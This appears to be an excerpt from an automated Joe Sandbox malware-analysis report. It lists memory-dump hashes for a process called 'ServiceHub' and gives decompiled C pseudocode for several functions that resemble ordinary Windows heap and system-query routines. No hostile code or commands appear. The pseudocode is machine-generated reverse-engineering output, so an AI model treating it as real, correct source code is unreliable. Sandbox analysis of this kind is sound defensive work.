                                          0x01277551
                                          0x01277553
                                          0x01277553
                                          0x01277449
                                          0x01277449
                                          0x0127744c
                                          0x0127744c
                                          0x00000000
                                          0x0127744c
                                          0x01277443
                                          0x0127750e
                                          0x01277514
                                          0x01277514
                                          0x01277455
                                          0x01277469
                                          0x0127746d
                                          0x00000000
                                          0x01277473
                                          0x01277473
                                          0x01277476
                                          0x01277480
                                          0x01277484
                                          0x0127748e
                                          0x01277493
                                          0x01277493
                                          0x01277496
                                          0x01277499
                                          0x012774a1
                                          0x012774b1
                                          0x012774b5
                                          0x00000000
                                          0x012774bb
                                          0x012774c1
                                          0x012774c1
                                          0x012774c4
                                          0x012774c5
                                          0x012774c6
                                          0x012774c7
                                          0x012774c8
                                          0x012774cd
                                          0x00000000
                                          0x012774d3
                                          0x012774d3
                                          0x012774d6
                                          0x012774d8
                                          0x012774db
                                          0x012774dd
                                          0x012774e0
                                          0x012774e7
                                          0x012774ee
                                          0x012774ee
                                          0x012774f4
                                          0x012774f9
                                          0x00000000
                                          0x012774fb
                                          0x012774fb
                                          0x012774fd
                                          0x01277500
                                          0x01277503
                                          0x01277505
                                          0x01277505
                                          0x012774f9
                                          0x00000000
                                          0x012774cd
                                          0x012774b5
                                          0x00000000

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
                                          • Instruction ID: 8c369e86268b5f2a8ceaf45bb4f4c906dee6589704cc9dc650646e949df99ac3
                                          • Opcode Fuzzy Hash: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
                                          • Instruction Fuzzy Hash: 8451AC71610646EFDB26CF58D484A96BBF5FF45708F14C0AAEA08DF212E371E946CB90
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011D2990 Relevance: .1, Instructions: 133COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 97%
                                          			E011D2990() {
				signed int* _t62;
				signed int _t64;
				intOrPtr _t66;
				signed short* _t69;
				intOrPtr _t76;
				signed short* _t79;
				void* _t81;
				signed int _t82;
				signed short* _t83;
				signed int _t87;
				intOrPtr _t91;
				void* _t98;
				signed int _t99;
				void* _t101;
				signed int* _t102;
				void* _t103;
				void* _t104;
				void* _t107;

				_push(0x20);
				_push(0x127ff00);
				E011FD08C(_t81, _t98, _t101);
				 *((intOrPtr*)(_t103 - 0x28)) =  *[fs:0x18];
				_t99 = 0;
				 *((intOrPtr*)( *((intOrPtr*)(_t103 + 0x1c)))) = 0;
				_t82 =  *((intOrPtr*)(_t103 + 0x10));
				if(_t82 == 0) {
					_t62 = 0xc0000100;
				} else {
					 *((intOrPtr*)(_t103 - 4)) = 0;
					_t102 = 0xc0000100;
					 *((intOrPtr*)(_t103 - 0x30)) = 0xc0000100;
					_t64 = 4;
					while(1) {
						 *(_t103 - 0x24) = _t64;
						if(_t64 == 0) {
							break;
						}
						_t87 = _t64 * 0xc;
						 *(_t103 - 0x2c) = _t87;
						_t107 = _t82 -  *((intOrPtr*)(_t87 + 0x1181664));
						if(_t107 <= 0) {
							if(_t107 == 0) {
								_t79 = E011EE5C0( *((intOrPtr*)(_t103 + 0xc)),  *((intOrPtr*)(_t87 + 0x1181668)), _t82);
								_t104 = _t104 + 0xc;
								__eflags = _t79;
								if(__eflags == 0) {
									_t102 = E012251BE(_t82,  *((intOrPtr*)( *(_t103 - 0x2c) + 0x118166c)),  *((intOrPtr*)(_t103 + 0x14)), _t99, _t102, __eflags,  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)));
									 *((intOrPtr*)(_t103 - 0x30)) = _t102;
									break;
								} else {
									_t64 =  *(_t103 - 0x24);
									goto L5;
								}
								goto L13;
							} else {
								L5:
								_t64 = _t64 - 1;
								continue;
							}
						}
						break;
					}
					 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
					__eflags = _t102;
					if(_t102 < 0) {
						__eflags = _t102 - 0xc0000100;
						if(_t102 == 0xc0000100) {
							_t83 =  *((intOrPtr*)(_t103 + 8));
							__eflags = _t83;
							if(_t83 != 0) {
								 *((intOrPtr*)(_t103 - 0x20)) = _t83;
								__eflags =  *_t83 - _t99;
								if( *_t83 == _t99) {
									_t102 = 0xc0000100;
									goto L19;
								} else {
									_t91 =  *((intOrPtr*)( *((intOrPtr*)(_t103 - 0x28)) + 0x30));
									_t66 =  *((intOrPtr*)(_t91 + 0x10));
									__eflags =  *((intOrPtr*)(_t66 + 0x48)) - _t83;
									if( *((intOrPtr*)(_t66 + 0x48)) == _t83) {
										__eflags =  *((intOrPtr*)(_t91 + 0x1c));
										if( *((intOrPtr*)(_t91 + 0x1c)) == 0) {
											L26:
											_t102 = E011D2AE4(_t103 - 0x20,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)));
											 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
											__eflags = _t102 - 0xc0000100;
											if(_t102 != 0xc0000100) {
												goto L12;
											} else {
												_t99 = 1;
												_t83 =  *((intOrPtr*)(_t103 - 0x20));
												goto L18;
											}
										} else {
											_t69 = E011B6600( *((intOrPtr*)(_t91 + 0x1c)));
											__eflags = _t69;
											if(_t69 != 0) {
												goto L26;
											} else {
												_t83 =  *((intOrPtr*)(_t103 + 8));
												goto L18;
											}
										}
									} else {
										L18:
										_t102 = E011D2C50(_t83,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)), _t99);
										L19:
										 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
										goto L12;
									}
								}
								L28:
							} else {
								E011BEEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
								 *((intOrPtr*)(_t103 - 4)) = 1;
								 *((intOrPtr*)(_t103 - 0x20)) =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t103 - 0x28)) + 0x30)) + 0x10)) + 0x48));
								_t102 =  *((intOrPtr*)(_t103 + 0x1c));
								_t76 = E011D2AE4(_t103 - 0x20,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)), _t102);
								 *((intOrPtr*)(_t103 - 0x1c)) = _t76;
								__eflags = _t76 - 0xc0000100;
								if(_t76 == 0xc0000100) {
									 *((intOrPtr*)(_t103 - 0x1c)) = E011D2C50( *((intOrPtr*)(_t103 - 0x20)),  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)), _t102, 1);
								}
								 *((intOrPtr*)(_t103 - 4)) = _t99;
								E011D2ACB();
							}
						}
					}
					L12:
					 *((intOrPtr*)(_t103 - 4)) = 0xfffffffe;
					_t62 = _t102;
				}
				L13:
				return E011FD0D1(_t62);
				goto L28;
			}





















                                          0x011d2990
                                          0x011d2992
                                          0x011d2997
                                          0x011d29a3
                                          0x011d29a6
                                          0x011d29ab
                                          0x011d29ad
                                          0x011d29b2
                                          0x01215c80
                                          0x011d29b8
                                          0x011d29b8
                                          0x011d29bb
                                          0x011d29c0
                                          0x011d29c5
                                          0x011d29c6
                                          0x011d29c6
                                          0x011d29cb
                                          0x00000000
                                          0x00000000
                                          0x011d29cd
                                          0x011d29d0
                                          0x011d29d9
                                          0x011d29db
                                          0x011d29dd
                                          0x011d2a7f
                                          0x011d2a84
                                          0x011d2a87
                                          0x011d2a89
                                          0x01215ca1
                                          0x01215ca3
                                          0x00000000
                                          0x011d2a8f
                                          0x011d2a8f
                                          0x00000000
                                          0x011d2a8f
                                          0x00000000
                                          0x011d29e3
                                          0x011d29e3
                                          0x011d29e3
                                          0x00000000
                                          0x011d29e3
                                          0x011d29dd
                                          0x00000000
                                          0x011d29db
                                          0x011d29e6
                                          0x011d29e9
                                          0x011d29eb
                                          0x011d29ed
                                          0x011d29f3
                                          0x011d29f5
                                          0x011d29f8
                                          0x011d29fa
                                          0x011d2a97
                                          0x011d2a9a
                                          0x011d2a9d
                                          0x011d2add
                                          0x00000000
                                          0x011d2a9f
                                          0x011d2aa2
                                          0x011d2aa5
                                          0x011d2aa8
                                          0x011d2aab
                                          0x01215cab
                                          0x01215caf
                                          0x01215cc5
                                          0x01215cda
                                          0x01215cdc
                                          0x01215cdf
                                          0x01215ce5
                                          0x00000000
                                          0x01215ceb
                                          0x01215ced
                                          0x01215cee
                                          0x00000000
                                          0x01215cee
                                          0x01215cb1
                                          0x01215cb4
                                          0x01215cb9
                                          0x01215cbb
                                          0x00000000
                                          0x01215cbd
                                          0x01215cbd
                                          0x00000000
                                          0x01215cbd
                                          0x01215cbb
                                          0x011d2ab1
                                          0x011d2ab1
                                          0x011d2ac4
                                          0x011d2ac6
                                          0x011d2ac6
                                          0x00000000
                                          0x011d2ac6
                                          0x011d2aab
                                          0x00000000
                                          0x011d2a00
                                          0x011d2a09
                                          0x011d2a0e
                                          0x011d2a21
                                          0x011d2a24
                                          0x011d2a35
                                          0x011d2a3a
                                          0x011d2a3d
                                          0x011d2a42
                                          0x011d2a59
                                          0x011d2a59
                                          0x011d2a5c
                                          0x011d2a5f
                                          0x011d2a5f
                                          0x011d29fa
                                          0x011d29f3
                                          0x011d2a64
                                          0x011d2a64
                                          0x011d2a6b
                                          0x011d2a6b
                                          0x011d2a6d
                                          0x011d2a72
                                          0x00000000

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 366823dc7cfdc6e528b81bdfd580b7a5105b3f299a329c5708ab6e03c79edd70
                                          • Instruction ID: 8b3572057a777e746ff07d32ec100e9c3bfceecf7d836d716c27541222786a9d
                                          • Opcode Fuzzy Hash: 366823dc7cfdc6e528b81bdfd580b7a5105b3f299a329c5708ab6e03c79edd70
                                          • Instruction Fuzzy Hash: 67516971A0021AEFDF29DF99C880AEEBBB5FF58314F118155E920AB620D3359D52CF91
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011D4BAD Relevance: .1, Instructions: 131COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 85%
                                          			E011D4BAD(intOrPtr __ecx, short __edx, signed char _a4, signed short _a8) {
				signed int _v8;
				short _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				char _v156;
				short _v158;
				intOrPtr _v160;
				char _v164;
				intOrPtr _v168;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t45;
				intOrPtr _t74;
				signed char _t77;
				intOrPtr _t84;
				char* _t85;
				void* _t86;
				intOrPtr _t87;
				signed short _t88;
				signed int _t89;

				_t83 = __edx;
				_v8 =  *0x129d360 ^ _t89;
				_t45 = _a8 & 0x0000ffff;
				_v158 = __edx;
				_v168 = __ecx;
				if(_t45 == 0) {
					L22:
					_t86 = 6;
					L12:
					E011ACC50(_t86);
					L11:
					return E011EB640(_t86, _t77, _v8 ^ _t89, _t83, _t84, _t86);
				}
				_t77 = _a4;
				if((_t77 & 0x00000001) != 0) {
					goto L22;
				}
				_t8 = _t77 + 0x34; // 0xdce0ba00
				if(_t45 !=  *_t8) {
					goto L22;
				}
				_t9 = _t77 + 0x24; // 0x1298504
				E011C2280(_t9, _t9);
				_t87 = 0x78;
				 *(_t77 + 0x2c) =  *( *[fs:0x18] + 0x24);
				E011EFA60( &_v156, 0, _t87);
				_t13 = _t77 + 0x30; // 0x3db8
				_t85 =  &_v156;
				_v36 =  *_t13;
				_v28 = _v168;
				_v32 = 0;
				_v24 = 0;
				_v20 = _v158;
				_v160 = 0;
				while(1) {
					_push( &_v164);
					_push(_t87);
					_push(_t85);
					_push(0x18);
					_push( &_v36);
					_push(0x1e);
					_t88 = E011EB0B0();
					if(_t88 != 0xc0000023) {
						break;
					}
					if(_t85 !=  &_v156) {
						L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t85);
					}
					_t84 = L011C4620(0,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v164);
					_v168 = _v164;
					if(_t84 == 0) {
						_t88 = 0xc0000017;
						goto L19;
					} else {
						_t74 = _v160 + 1;
						_v160 = _t74;
						if(_t74 >= 0x10) {
							L19:
							_t86 = E011ACCC0(_t88);
							if(_t86 != 0) {
								L8:
								 *(_t77 + 0x2c) =  *(_t77 + 0x2c) & 0x00000000;
								_t30 = _t77 + 0x24; // 0x1298504
								E011BFFB0(_t77, _t84, _t30);
								if(_t84 != 0 && _t84 !=  &_v156) {
									L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t84);
								}
								if(_t86 != 0) {
									goto L12;
								} else {
									goto L11;
								}
							}
							L6:
							 *(_t77 + 0x36) =  *(_t77 + 0x36) | 0x00004000;
							if(_v164 != 0) {
								_t83 = _t84;
								E011D4F49(_t77, _t84);
							}
							goto L8;
						}
						_t87 = _v168;
						continue;
					}
				}
				if(_t88 != 0) {
					goto L19;
				}
				goto L6;
			}


























                                          0x011d4bad
                                          0x011d4bbf
                                          0x011d4bc2
                                          0x011d4bc6
                                          0x011d4bcd
                                          0x011d4bd9
                                          0x012167fe
                                          0x01216800
                                          0x011d4ccc
                                          0x011d4ccd
                                          0x011d4cb7
                                          0x011d4cc9
                                          0x011d4cc9
                                          0x011d4bdf
                                          0x011d4be5
                                          0x00000000
                                          0x00000000
                                          0x011d4beb
                                          0x011d4bef
                                          0x00000000
                                          0x00000000
                                          0x011d4bf5
                                          0x011d4bf9
                                          0x011d4c06
                                          0x011d4c0b
                                          0x011d4c17
                                          0x011d4c1c
                                          0x011d4c1f
                                          0x011d4c25
                                          0x011d4c33
                                          0x011d4c3d
                                          0x011d4c40
                                          0x011d4c43
                                          0x011d4c47
                                          0x011d4c4d
                                          0x011d4c53
                                          0x011d4c54
                                          0x011d4c55
                                          0x011d4c56
                                          0x011d4c5b
                                          0x011d4c5c
                                          0x011d4c63
                                          0x011d4c6b
                                          0x00000000
                                          0x00000000
                                          0x01216776
                                          0x01216784
                                          0x01216784
                                          0x0121679f
                                          0x012167a7
                                          0x012167af
                                          0x012167ce
                                          0x00000000
                                          0x012167b1
                                          0x012167b7
                                          0x012167b8
                                          0x012167c1
                                          0x012167d3
                                          0x012167d9
                                          0x012167dd
                                          0x011d4c94
                                          0x011d4c94
                                          0x011d4c98
                                          0x011d4c9c
                                          0x011d4ca3
                                          0x012167f4
                                          0x012167f4
                                          0x011d4cb5
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x011d4cb5
                                          0x011d4c79
                                          0x011d4c7e
                                          0x011d4c89
                                          0x011d4c8b
                                          0x011d4c8f
                                          0x011d4c8f
                                          0x00000000
                                          0x011d4c89
                                          0x012167c3
                                          0x00000000
                                          0x012167c3
                                          0x012167af
                                          0x011d4c73
                                          0x00000000
                                          0x00000000
                                          0x00000000

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 9fe24c73bad85681087cd2cde5c65eac333f7b532201de60437cd02a883b6a70
                                          • Instruction ID: 0cc9157ca8127b41618c827d0c9fa0bbb2c5eff29e275bfbe641d2f166dd65e6
                                          • Opcode Fuzzy Hash: 9fe24c73bad85681087cd2cde5c65eac333f7b532201de60437cd02a883b6a70
                                          • Instruction Fuzzy Hash: 1B41F335A002299BDB39DF68C944BEE77F4EF55700F0100A9EA08AB641EB74DE81CF95
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011D4D3B Relevance: .1, Instructions: 131COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 78%
                                          			E011D4D3B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				char _v176;
				char _v177;
				char _v184;
				intOrPtr _v192;
				intOrPtr _v196;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short _t42;
				char* _t44;
				intOrPtr _t46;
				intOrPtr _t50;
				char* _t57;
				intOrPtr _t59;
				intOrPtr _t67;
				signed int _t69;

				_t64 = __edx;
				_v12 =  *0x129d360 ^ _t69;
				_t65 = 0xa0;
				_v196 = __edx;
				_v177 = 0;
				_t67 = __ecx;
				_v192 = __ecx;
				E011EFA60( &_v176, 0, 0xa0);
				_t57 =  &_v176;
				_t59 = 0xa0;
				if( *0x1297bc8 != 0) {
					L3:
					while(1) {
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t67 = _v192;
						 *((intOrPtr*)(_t57 + 0x10)) = _a4;
						 *(_t57 + 0x24) =  *(_t57 + 0x24) & 0x00000000;
						 *(_t57 + 0x14) =  *(_t67 + 0x34) & 0x0000ffff;
						 *((intOrPtr*)(_t57 + 0x20)) = _v196;
						_push( &_v184);
						_push(_t59);
						_push(_t57);
						_push(0xa0);
						_push(_t57);
						_push(0xf);
						_t42 = E011EB0B0();
						if(_t42 != 0xc0000023) {
							break;
						}
						if(_v177 != 0) {
							L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t57);
						}
						_v177 = 1;
						_t44 = L011C4620(_t59,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v184);
						_t59 = _v184;
						_t57 = _t44;
						if(_t57 != 0) {
							continue;
						} else {
							_t42 = 0xc0000017;
							break;
						}
					}
					if(_t42 != 0) {
						_t65 = E011ACCC0(_t42);
						if(_t65 != 0) {
							L10:
							if(_v177 != 0) {
								if(_t57 != 0) {
									L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t57);
								}
							}
							_t46 = _t65;
							L12:
							return E011EB640(_t46, _t57, _v12 ^ _t69, _t64, _t65, _t67);
						}
						L7:
						_t50 = _a4;
						 *((intOrPtr*)(_t67 + 0x30)) =  *((intOrPtr*)(_t57 + 0x18));
						if(_t50 != 3) {
							if(_t50 == 2) {
								goto L8;
							}
							L9:
							if(E011EF380(_t67 + 0xc, 0x1185138, 0x10) == 0) {
								 *0x12960d8 = _t67;
							}
							goto L10;
						}
						L8:
						_t64 = _t57 + 0x28;
						E011D4F49(_t67, _t57 + 0x28);
						goto L9;
					}
					_t65 = 0;
					goto L7;
				}
				if(E011D4E70(0x12986b0, 0x11d5690, 0, 0) != 0) {
					_t46 = E011ACCC0(_t56);
					goto L12;
				} else {
					_t59 = 0xa0;
					goto L3;
				}
			}




















                                          0x011d4d3b
                                          0x011d4d4d
                                          0x011d4d53
                                          0x011d4d58
                                          0x011d4d65
                                          0x011d4d6c
                                          0x011d4d71
                                          0x011d4d77
                                          0x011d4d7f
                                          0x011d4d8c
                                          0x011d4d8e
                                          0x011d4dad
                                          0x011d4db0
                                          0x011d4db7
                                          0x011d4db8
                                          0x011d4db9
                                          0x011d4dba
                                          0x011d4dbb
                                          0x011d4dc1
                                          0x011d4dc8
                                          0x011d4dcc
                                          0x011d4dd5
                                          0x011d4dde
                                          0x011d4ddf
                                          0x011d4de0
                                          0x011d4de1
                                          0x011d4de6
                                          0x011d4de7
                                          0x011d4de9
                                          0x011d4df3
                                          0x00000000
                                          0x00000000
                                          0x01216c7c
                                          0x01216c8a
                                          0x01216c8a
                                          0x01216c9d
                                          0x01216ca7
                                          0x01216cac
                                          0x01216cb2
                                          0x01216cb9
                                          0x00000000
                                          0x01216cbf
                                          0x01216cbf
                                          0x00000000
                                          0x01216cbf
                                          0x01216cb9
                                          0x011d4dfb
                                          0x01216ccf
                                          0x01216cd3
                                          0x011d4e32
                                          0x011d4e39
                                          0x01216ce0
                                          0x01216cf2
                                          0x01216cf2
                                          0x01216ce0
                                          0x011d4e3f
                                          0x011d4e41
                                          0x011d4e51
                                          0x011d4e51
                                          0x011d4e03
                                          0x011d4e03
                                          0x011d4e09
                                          0x011d4e0f
                                          0x011d4e57
                                          0x00000000
                                          0x00000000
                                          0x011d4e1b
                                          0x011d4e30
                                          0x011d4e5b
                                          0x011d4e5b
                                          0x00000000
                                          0x011d4e30
                                          0x011d4e11
                                          0x011d4e11
                                          0x011d4e16
                                          0x00000000
                                          0x011d4e16
                                          0x011d4e01
                                          0x00000000
                                          0x011d4e01
                                          0x011d4da5
                                          0x01216c6b
                                          0x00000000
                                          0x011d4dab
                                          0x011d4dab
                                          0x00000000
                                          0x011d4dab

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 9ca1233a823d007f4ad08ac66364a519c6abd9fa85304697dc63254b22fa5fa8
                                          • Instruction ID: 1256eda439d19d10271c6204f52616b93d3a44d883e981f2d5daf167f2545741
                                          • Opcode Fuzzy Hash: 9ca1233a823d007f4ad08ac66364a519c6abd9fa85304697dc63254b22fa5fa8
                                          • Instruction Fuzzy Hash: A8413971A04329AFEB39DF18CC84FAAB7F9EB54704F000099E9059BA81D7B4DD40CB92
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011B8A0A Relevance: .1, Instructions: 120COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 94%
                                          			E011B8A0A(intOrPtr* __ecx, signed int __edx) {
				signed int _v8;
				char _v524;
				signed int _v528;
				void* _v532;
				char _v536;
				char _v540;
				char _v544;
				intOrPtr* _v548;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t44;
				void* _t46;
				void* _t48;
				signed int _t53;
				signed int _t55;
				intOrPtr* _t62;
				void* _t63;
				unsigned int _t75;
				signed int _t79;
				unsigned int _t81;
				unsigned int _t83;
				signed int _t84;
				void* _t87;

				_t76 = __edx;
				_v8 =  *0x129d360 ^ _t84;
				_v536 = 0x200;
				_t79 = 0;
				_v548 = __edx;
				_v544 = 0;
				_t62 = __ecx;
				_v540 = 0;
				_v532 =  &_v524;
				if(__edx == 0 || __ecx == 0) {
					L6:
					return E011EB640(_t79, _t62, _v8 ^ _t84, _t76, _t79, _t81);
				} else {
					_v528 = 0;
					E011BE9C0(1, __ecx, 0, 0,  &_v528);
					_t44 = _v528;
					_t81 =  *(_t44 + 0x48) & 0x0000ffff;
					_v528 =  *(_t44 + 0x4a) & 0x0000ffff;
					_t46 = 0xa;
					_t87 = _t81 - _t46;
					if(_t87 > 0 || _t87 == 0) {
						 *_v548 = 0x1181180;
						L5:
						_t79 = 1;
						goto L6;
					} else {
						_t48 = E011D1DB5(_t62,  &_v532,  &_v536);
						_t76 = _v528;
						if(_t48 == 0) {
							L9:
							E011E3C2A(_t81, _t76,  &_v544);
							 *_v548 = _v544;
							goto L5;
						}
						_t62 = _v532;
						if(_t62 != 0) {
							_t83 = (_t81 << 0x10) + (_t76 & 0x0000ffff);
							_t53 =  *_t62;
							_v528 = _t53;
							if(_t53 != 0) {
								_t63 = _t62 + 4;
								_t55 = _v528;
								do {
									if( *((intOrPtr*)(_t63 + 0x10)) == 1) {
										if(E011B8999(_t63,  &_v540) == 0) {
											_t55 = _v528;
										} else {
											_t75 = (( *(_v540 + 0x14) & 0x0000ffff) << 0x10) + ( *(_v540 + 0x16) & 0x0000ffff);
											_t55 = _v528;
											if(_t75 >= _t83) {
												_t83 = _t75;
											}
										}
									}
									_t63 = _t63 + 0x14;
									_t55 = _t55 - 1;
									_v528 = _t55;
								} while (_t55 != 0);
								_t62 = _v532;
							}
							if(_t62 !=  &_v524) {
								L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t79, _t62);
							}
							_t76 = _t83 & 0x0000ffff;
							_t81 = _t83 >> 0x10;
						}
						goto L9;
					}
				}
			}



























                                          0x011b8a0a
                                          0x011b8a1c
                                          0x011b8a23
                                          0x011b8a2e
                                          0x011b8a30
                                          0x011b8a36
                                          0x011b8a3c
                                          0x011b8a3e
                                          0x011b8a4a
                                          0x011b8a52
                                          0x011b8a9c
                                          0x011b8aae
                                          0x011b8a58
                                          0x011b8a5e
                                          0x011b8a6a
                                          0x011b8a6f
                                          0x011b8a75
                                          0x011b8a7d
                                          0x011b8a85
                                          0x011b8a86
                                          0x011b8a89
                                          0x011b8a93
                                          0x011b8a99
                                          0x011b8a9b
                                          0x00000000
                                          0x011b8aaf
                                          0x011b8abe
                                          0x011b8ac3
                                          0x011b8acb
                                          0x011b8ad7
                                          0x011b8ae0
                                          0x011b8af1
                                          0x00000000
                                          0x011b8af1
                                          0x011b8acd
                                          0x011b8ad5
                                          0x011b8afb
                                          0x011b8afd
                                          0x011b8aff
                                          0x011b8b07
                                          0x011b8b22
                                          0x011b8b24
                                          0x011b8b2a
                                          0x011b8b2e
                                          0x011b8b3f
                                          0x011b8b78
                                          0x011b8b41
                                          0x011b8b52
                                          0x011b8b54
                                          0x011b8b5c
                                          0x011b8b74
                                          0x011b8b74
                                          0x011b8b5c
                                          0x011b8b3f
                                          0x011b8b5e
                                          0x011b8b61
                                          0x011b8b64
                                          0x011b8b64
                                          0x011b8b6c
                                          0x011b8b6c
                                          0x011b8b11
                                          0x01209cd5
                                          0x01209cd5
                                          0x011b8b17
                                          0x011b8b1a
                                          0x011b8b1a
                                          0x00000000
                                          0x011b8ad5
                                          0x011b8a89

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 740aa06b7b56f9951ab45dc528d19a23d7caec480dae77bc9f81c6e3249f4081
                                          • Instruction ID: cdf86d764ddfa2b6fc2b7ced56e3c55a787dcb1a608faa4b48b311db665223ff
                                          • Opcode Fuzzy Hash: 740aa06b7b56f9951ab45dc528d19a23d7caec480dae77bc9f81c6e3249f4081
                                          • Instruction Fuzzy Hash: 444183B4A0022D9BDB28DF69CDC8AE9B7F8FB54700F1041E9D91997242E7709E80CF60
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 0126AA16 Relevance: .1, Instructions: 120COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 100%
                                          			E0126AA16(void* __ecx, intOrPtr __edx, signed int _a4, short _a8) {
				intOrPtr _v8;
				char _v12;
				signed int _v16;
				signed char _v20;
				intOrPtr _v24;
				char* _t37;
				void* _t47;
				signed char _t51;
				void* _t53;
				char _t55;
				intOrPtr _t57;
				signed char _t61;
				intOrPtr _t75;
				void* _t76;
				signed int _t81;
				intOrPtr _t82;

				_t53 = __ecx;
				_t55 = 0;
				_v20 = _v20 & 0;
				_t75 = __edx;
				_t81 = ( *(__ecx + 0xc) | _a4) & 0x93000f0b;
				_v24 = __edx;
				_v12 = 0;
				if((_t81 & 0x01000000) != 0) {
					L5:
					if(_a8 != 0) {
						_t81 = _t81 | 0x00000008;
					}
					_t57 = E0126ABF4(_t55 + _t75, _t81);
					_v8 = _t57;
					if(_t57 < _t75 || _t75 > 0x7fffffff) {
						_t76 = 0;
						_v16 = _v16 & 0;
					} else {
						_t59 = _t53;
						_t76 = E0126AB54(_t53, _t75, _t57, _t81 & 0x13000003,  &_v16);
						if(_t76 != 0 && (_t81 & 0x30000f08) != 0) {
							_t47 = E0126AC78(_t53, _t76, _v24, _t59, _v12, _t81, _a8);
							_t61 = _v20;
							if(_t61 != 0) {
								 *(_t47 + 2) =  *(_t47 + 2) ^ ( *(_t47 + 2) ^ _t61) & 0x0000000f;
								if(E0124CB1E(_t61, _t53, _t76, 2, _t47 + 8) < 0) {
									L011C77F0(_t53, 0, _t76);
									_t76 = 0;
								}
							}
						}
					}
					_t82 = _v8;
					L16:
					if(E011C7D50() == 0) {
						_t37 = 0x7ffe0380;
					} else {
						_t37 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t37 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
						E0126131B(_t53, _t76, _t82, _v16);
					}
					return _t76;
				}
				_t51 =  *(__ecx + 0x20);
				_v20 = _t51;
				if(_t51 == 0) {
					goto L5;
				}
				_t81 = _t81 | 0x00000008;
				if(E0124CB1E(_t51, __ecx, 0, 1,  &_v12) >= 0) {
					_t55 = _v12;
					goto L5;
				} else {
					_t82 = 0;
					_t76 = 0;
					_v16 = _v16 & 0;
					goto L16;
				}
			}



















                                          0x0126aa1f
                                          0x0126aa21
                                          0x0126aa23
                                          0x0126aa2b
                                          0x0126aa30
                                          0x0126aa36
                                          0x0126aa39
                                          0x0126aa42
                                          0x0126aa75
                                          0x0126aa7a
                                          0x0126aa7c
                                          0x0126aa7c
                                          0x0126aa88
                                          0x0126aa8a
                                          0x0126aa8f
                                          0x0126ab02
